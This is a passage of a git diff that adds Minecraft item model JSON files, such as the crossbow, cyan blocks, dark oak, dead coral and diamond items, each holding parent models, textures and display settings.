+++ b/src/assets/minecraft/models/item/crossbow.json @@ -0,0 +1,63 @@ +{ + "parent": "item/generated", + "textures": { + "layer0": "item/crossbow_standby" + }, + "display": { + "thirdperson_righthand": { + "rotation": [ -90, 0, -60 ], + "translation": [ 2, 0.1, -3 ], + "scale": [ 0.9, 0.9, 0.9 ] + }, + "thirdperson_lefthand": { + "rotation": [ -90, 0, 30 ], + "translation": [ 2, 0.1, -3 ], + "scale": [ 0.9, 0.9, 0.9 ] + }, + "firstperson_righthand": { + "rotation": [ -90, 0, -55 ], + "translation": [ 1.13, 3.2, 1.13], + "scale": [ 0.68, 0.68, 0.68 ] + }, + "firstperson_lefthand": { + "rotation": [ -90, 0, 35 ], + "translation": [ 1.13, 3.2, 1.13], + "scale": [ 0.68, 0.68, 0.68 ] + } + }, + "overrides": [ + { + "predicate": { + "pulling": 1 + }, + "model": "item/crossbow_pulling_0" + }, + { + "predicate": { + "pulling": 1, + "pull": 0.58 + }, + "model": "item/crossbow_pulling_1" + }, + { + "predicate": { + "pulling": 1, + "pull": 1.0 + }, + "model": "item/crossbow_pulling_2" + }, + { + "predicate": { + "charged": 1 + }, + "model": "item/crossbow_arrow" + }, + { + "predicate": { + "charged": 1, + "firework": 1 + }, + "model": "item/crossbow_firework" + } + ] +} diff --git a/src/assets/minecraft/models/item/crossbow_arrow.json b/src/assets/minecraft/models/item/crossbow_arrow.json new file mode 100644 index 00000000..bc3e3543 --- /dev/null +++ b/src/assets/minecraft/models/item/crossbow_arrow.json @@ -0,0 +1,6 @@ +{ + "parent": "item/crossbow", + "textures": { + "layer0": "item/crossbow_arrow" + } +} diff --git a/src/assets/minecraft/models/item/crossbow_firework.json b/src/assets/minecraft/models/item/crossbow_firework.json new file mode 100644 index 00000000..1ebe175a --- /dev/null +++ b/src/assets/minecraft/models/item/crossbow_firework.json @@ -0,0 +1,6 @@ +{ + "parent": "item/crossbow", + "textures": { + "layer0": "item/crossbow_firework" + } +} diff --git a/src/assets/minecraft/models/item/crossbow_pulling_0.json b/src/assets/minecraft/models/item/crossbow_pulling_0.json new file mode 100644 index 00000000..afd73b86 --- /dev/null +++ b/src/assets/minecraft/models/item/crossbow_pulling_0.json @@ -0,0 +1,6 @@ +{ + "parent": "item/crossbow", + "textures": { + "layer0": "item/crossbow_pulling_0" + } +} diff --git a/src/assets/minecraft/models/item/crossbow_pulling_1.json b/src/assets/minecraft/models/item/crossbow_pulling_1.json new file mode 100644 index 00000000..1c48a748 --- /dev/null +++ b/src/assets/minecraft/models/item/crossbow_pulling_1.json @@ -0,0 +1,6 @@ +{ + "parent": "item/crossbow", + "textures": { + "layer0": "item/crossbow_pulling_1" + } +} diff --git a/src/assets/minecraft/models/item/crossbow_pulling_2.json b/src/assets/minecraft/models/item/crossbow_pulling_2.json new file mode 100644 index 00000000..3c2df500 --- /dev/null +++ b/src/assets/minecraft/models/item/crossbow_pulling_2.json @@ -0,0 +1,6 @@ +{ + "parent": "item/crossbow", + "textures": { + "layer0": "item/crossbow_pulling_2" + } +} diff --git a/src/assets/minecraft/models/item/crying_obsidian.json b/src/assets/minecraft/models/item/crying_obsidian.json new file mode 100644 index 00000000..0d94bfb8 --- /dev/null +++ b/src/assets/minecraft/models/item/crying_obsidian.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/crying_obsidian" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cut_red_sandstone.json b/src/assets/minecraft/models/item/cut_red_sandstone.json new file mode 100644 index 00000000..665df158 --- /dev/null +++ b/src/assets/minecraft/models/item/cut_red_sandstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cut_red_sandstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cut_red_sandstone_slab.json b/src/assets/minecraft/models/item/cut_red_sandstone_slab.json new file mode 100644 index 00000000..7767595c --- /dev/null +++ b/src/assets/minecraft/models/item/cut_red_sandstone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cut_red_sandstone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cut_sandstone.json b/src/assets/minecraft/models/item/cut_sandstone.json new file mode 100644 index 00000000..865262dc --- /dev/null +++ b/src/assets/minecraft/models/item/cut_sandstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cut_sandstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cut_sandstone_slab.json b/src/assets/minecraft/models/item/cut_sandstone_slab.json new file mode 100644 index 00000000..cccc0035 --- /dev/null +++ b/src/assets/minecraft/models/item/cut_sandstone_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cut_sandstone_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_banner.json b/src/assets/minecraft/models/item/cyan_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_bed.json b/src/assets/minecraft/models/item/cyan_bed.json new file mode 100644 index 00000000..046fa811 --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/cyan_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_carpet.json b/src/assets/minecraft/models/item/cyan_carpet.json new file mode 100644 index 00000000..f67e7062 --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cyan_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_concrete.json b/src/assets/minecraft/models/item/cyan_concrete.json new file mode 100644 index 00000000..210de101 --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cyan_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_concrete_powder.json b/src/assets/minecraft/models/item/cyan_concrete_powder.json new file mode 100644 index 00000000..8fe4c546 --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cyan_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_dye.json b/src/assets/minecraft/models/item/cyan_dye.json new file mode 100644 index 00000000..634aa6ec --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/cyan_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_glazed_terracotta.json b/src/assets/minecraft/models/item/cyan_glazed_terracotta.json new file mode 100644 index 00000000..c98c2ac8 --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cyan_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_shulker_box.json b/src/assets/minecraft/models/item/cyan_shulker_box.json new file mode 100644 index 00000000..e06a479c --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/cyan_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_stained_glass.json b/src/assets/minecraft/models/item/cyan_stained_glass.json new file mode 100644 index 00000000..8cdd4b93 --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cyan_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_stained_glass_pane.json b/src/assets/minecraft/models/item/cyan_stained_glass_pane.json new file mode 100644 index 00000000..61db9a4d --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/cyan_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_terracotta.json b/src/assets/minecraft/models/item/cyan_terracotta.json new file mode 100644 index 00000000..4053734c --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cyan_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/cyan_wool.json b/src/assets/minecraft/models/item/cyan_wool.json new file mode 100644 index 00000000..30c92e7a --- /dev/null +++ b/src/assets/minecraft/models/item/cyan_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cyan_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/damaged_anvil.json b/src/assets/minecraft/models/item/damaged_anvil.json new file mode 100644 index 00000000..657cbd68 --- /dev/null +++ b/src/assets/minecraft/models/item/damaged_anvil.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/damaged_anvil" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dandelion.json b/src/assets/minecraft/models/item/dandelion.json new file mode 100644 index 00000000..1628250e --- /dev/null +++ b/src/assets/minecraft/models/item/dandelion.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dandelion" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_boat.json b/src/assets/minecraft/models/item/dark_oak_boat.json new file mode 100644 index 00000000..66ced796 --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_boat.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/dark_oak_boat" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_button.json b/src/assets/minecraft/models/item/dark_oak_button.json new file mode 100644 index 00000000..f2ff59ba --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_door.json b/src/assets/minecraft/models/item/dark_oak_door.json new file mode 100644 index 00000000..89ad212f --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/dark_oak_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_fence.json b/src/assets/minecraft/models/item/dark_oak_fence.json new file mode 100644 index 00000000..c624d9c9 --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_fence_gate.json b/src/assets/minecraft/models/item/dark_oak_fence_gate.json new file mode 100644 index 00000000..25cbe805 --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_fence_gate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_fence_gate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_leaves.json b/src/assets/minecraft/models/item/dark_oak_leaves.json new file mode 100644 index 00000000..395882a7 --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_leaves.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_leaves" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_log.json b/src/assets/minecraft/models/item/dark_oak_log.json new file mode 100644 index 00000000..6304aefb --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_planks.json b/src/assets/minecraft/models/item/dark_oak_planks.json new file mode 100644 index 00000000..a3adda1d --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_planks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_planks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_pressure_plate.json b/src/assets/minecraft/models/item/dark_oak_pressure_plate.json new file mode 100644 index 00000000..7cd16b9d --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_sapling.json b/src/assets/minecraft/models/item/dark_oak_sapling.json new file mode 100644 index 00000000..1a02b324 --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dark_oak_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_sign.json b/src/assets/minecraft/models/item/dark_oak_sign.json new file mode 100644 index 00000000..962a237a --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_sign.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/dark_oak_sign" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_slab.json b/src/assets/minecraft/models/item/dark_oak_slab.json new file mode 100644 index 00000000..c66e4e43 --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_stairs.json b/src/assets/minecraft/models/item/dark_oak_stairs.json new file mode 100644 index 00000000..1d7b821b --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_trapdoor.json b/src/assets/minecraft/models/item/dark_oak_trapdoor.json new file mode 100644 index 00000000..a91f3c8f --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_oak_wood.json b/src/assets/minecraft/models/item/dark_oak_wood.json new file mode 100644 index 00000000..3a285ba3 --- /dev/null +++ b/src/assets/minecraft/models/item/dark_oak_wood.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_oak_wood" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_prismarine.json b/src/assets/minecraft/models/item/dark_prismarine.json new file mode 100644 index 00000000..461468df --- /dev/null +++ b/src/assets/minecraft/models/item/dark_prismarine.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_prismarine" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_prismarine_slab.json b/src/assets/minecraft/models/item/dark_prismarine_slab.json new file mode 100644 index 00000000..a9605d9f --- /dev/null +++ b/src/assets/minecraft/models/item/dark_prismarine_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_prismarine_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dark_prismarine_stairs.json b/src/assets/minecraft/models/item/dark_prismarine_stairs.json new file mode 100644 index 00000000..2a11dead --- /dev/null +++ b/src/assets/minecraft/models/item/dark_prismarine_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dark_prismarine_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/daylight_detector.json b/src/assets/minecraft/models/item/daylight_detector.json new file mode 100644 index 00000000..f52d6d9a --- /dev/null +++ b/src/assets/minecraft/models/item/daylight_detector.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/daylight_detector" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_brain_coral.json b/src/assets/minecraft/models/item/dead_brain_coral.json new file mode 100644 index 00000000..8e243912 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_brain_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_brain_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_brain_coral_block.json b/src/assets/minecraft/models/item/dead_brain_coral_block.json new file mode 100644 index 00000000..3134d2b7 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_brain_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dead_brain_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_brain_coral_fan.json b/src/assets/minecraft/models/item/dead_brain_coral_fan.json new file mode 100644 index 00000000..a6488a83 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_brain_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_brain_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_bubble_coral.json b/src/assets/minecraft/models/item/dead_bubble_coral.json new file mode 100644 index 00000000..7802938b --- /dev/null +++ b/src/assets/minecraft/models/item/dead_bubble_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_bubble_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_bubble_coral_block.json b/src/assets/minecraft/models/item/dead_bubble_coral_block.json new file mode 100644 index 00000000..ba3411da --- /dev/null +++ b/src/assets/minecraft/models/item/dead_bubble_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dead_bubble_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_bubble_coral_fan.json b/src/assets/minecraft/models/item/dead_bubble_coral_fan.json new file mode 100644 index 00000000..e06ea5f9 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_bubble_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_bubble_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_bush.json b/src/assets/minecraft/models/item/dead_bush.json new file mode 100644 index 00000000..cb8a5f08 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_bush.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_bush" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_fire_coral.json b/src/assets/minecraft/models/item/dead_fire_coral.json new file mode 100644 index 00000000..7795cff3 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_fire_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_fire_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_fire_coral_block.json b/src/assets/minecraft/models/item/dead_fire_coral_block.json new file mode 100644 index 00000000..f169720a --- /dev/null +++ b/src/assets/minecraft/models/item/dead_fire_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dead_fire_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_fire_coral_fan.json b/src/assets/minecraft/models/item/dead_fire_coral_fan.json new file mode 100644 index 00000000..7d33a6e7 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_fire_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_fire_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_horn_coral.json b/src/assets/minecraft/models/item/dead_horn_coral.json new file mode 100644 index 00000000..8dc414ad --- /dev/null +++ b/src/assets/minecraft/models/item/dead_horn_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_horn_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_horn_coral_block.json b/src/assets/minecraft/models/item/dead_horn_coral_block.json new file mode 100644 index 00000000..a7ed136d --- /dev/null +++ b/src/assets/minecraft/models/item/dead_horn_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dead_horn_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_horn_coral_fan.json b/src/assets/minecraft/models/item/dead_horn_coral_fan.json new file mode 100644 index 00000000..4e2715a9 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_horn_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_horn_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_tube_coral.json b/src/assets/minecraft/models/item/dead_tube_coral.json new file mode 100644 index 00000000..1d08eff6 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_tube_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_tube_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_tube_coral_block.json b/src/assets/minecraft/models/item/dead_tube_coral_block.json new file mode 100644 index 00000000..a16902f9 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_tube_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dead_tube_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dead_tube_coral_fan.json b/src/assets/minecraft/models/item/dead_tube_coral_fan.json new file mode 100644 index 00000000..86ad4fd4 --- /dev/null +++ b/src/assets/minecraft/models/item/dead_tube_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/dead_tube_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/debug_stick.json b/src/assets/minecraft/models/item/debug_stick.json new file mode 100644 index 00000000..f0dc3b97 --- /dev/null +++ b/src/assets/minecraft/models/item/debug_stick.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/stick" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/detector_rail.json b/src/assets/minecraft/models/item/detector_rail.json new file mode 100644 index 00000000..707b2492 --- /dev/null +++ b/src/assets/minecraft/models/item/detector_rail.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/detector_rail" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond.json b/src/assets/minecraft/models/item/diamond.json new file mode 100644 index 00000000..dacde7f1 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/diamond" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_axe.json b/src/assets/minecraft/models/item/diamond_axe.json new file mode 100644 index 00000000..9ab04997 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_axe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/diamond_axe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_block.json b/src/assets/minecraft/models/item/diamond_block.json new file mode 100644 index 00000000..48d351c4 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/diamond_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_boots.json b/src/assets/minecraft/models/item/diamond_boots.json new file mode 100644 index 00000000..d3257821 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_boots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/diamond_boots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_chestplate.json b/src/assets/minecraft/models/item/diamond_chestplate.json new file mode 100644 index 00000000..2ca3222a --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_chestplate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/diamond_chestplate" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_helmet.json b/src/assets/minecraft/models/item/diamond_helmet.json new file mode 100644 index 00000000..8ab9fc02 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_helmet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/diamond_helmet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_hoe.json b/src/assets/minecraft/models/item/diamond_hoe.json new file mode 100644 index 00000000..c777b6d3 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_hoe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/diamond_hoe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_horse_armor.json b/src/assets/minecraft/models/item/diamond_horse_armor.json new file mode 100644 index 00000000..017194b7 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_horse_armor.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/diamond_horse_armor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_leggings.json b/src/assets/minecraft/models/item/diamond_leggings.json new file mode 100644 index 00000000..11622ca5 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_leggings.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/diamond_leggings" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_ore.json b/src/assets/minecraft/models/item/diamond_ore.json new file mode 100644 index 00000000..da18313d --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/diamond_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_pickaxe.json b/src/assets/minecraft/models/item/diamond_pickaxe.json new file mode 100644 index 00000000..88301e5c --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_pickaxe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/diamond_pickaxe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_shovel.json b/src/assets/minecraft/models/item/diamond_shovel.json new file mode 100644 index 00000000..dc4e6c84 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_shovel.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/diamond_shovel" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diamond_sword.json b/src/assets/minecraft/models/item/diamond_sword.json new file mode 100644 index 00000000..26f4a2e0 --- /dev/null +++ b/src/assets/minecraft/models/item/diamond_sword.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/diamond_sword" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diorite.json b/src/assets/minecraft/models/item/diorite.json new file mode 100644 index 00000000..f9d3f6b4 --- /dev/null +++ b/src/assets/minecraft/models/item/diorite.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/diorite" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diorite_slab.json b/src/assets/minecraft/models/item/diorite_slab.json new file mode 100644 index 00000000..fbfbc7a6 --- /dev/null +++ b/src/assets/minecraft/models/item/diorite_slab.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/diorite_slab" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diorite_stairs.json b/src/assets/minecraft/models/item/diorite_stairs.json new file mode 100644 index 00000000..fdfa11ab --- /dev/null +++ b/src/assets/minecraft/models/item/diorite_stairs.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/diorite_stairs" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/diorite_wall.json b/src/assets/minecraft/models/item/diorite_wall.json new file mode 100644 index 00000000..192d7282 --- /dev/null +++ b/src/assets/minecraft/models/item/diorite_wall.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/diorite_wall_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dirt.json b/src/assets/minecraft/models/item/dirt.json new file mode 100644 index 00000000..8f9dbab5 --- /dev/null +++ b/src/assets/minecraft/models/item/dirt.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dirt" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dispenser.json b/src/assets/minecraft/models/item/dispenser.json new file mode 100644 index 00000000..b88156bc --- /dev/null +++ b/src/assets/minecraft/models/item/dispenser.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/dispenser" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/dolphin_spawn_egg.json b/src/assets/minecraft/models/item/dolphin_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/dolphin_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/donkey_spawn_egg.json b/src/assets/minecraft/models/item/donkey_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/donkey_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": 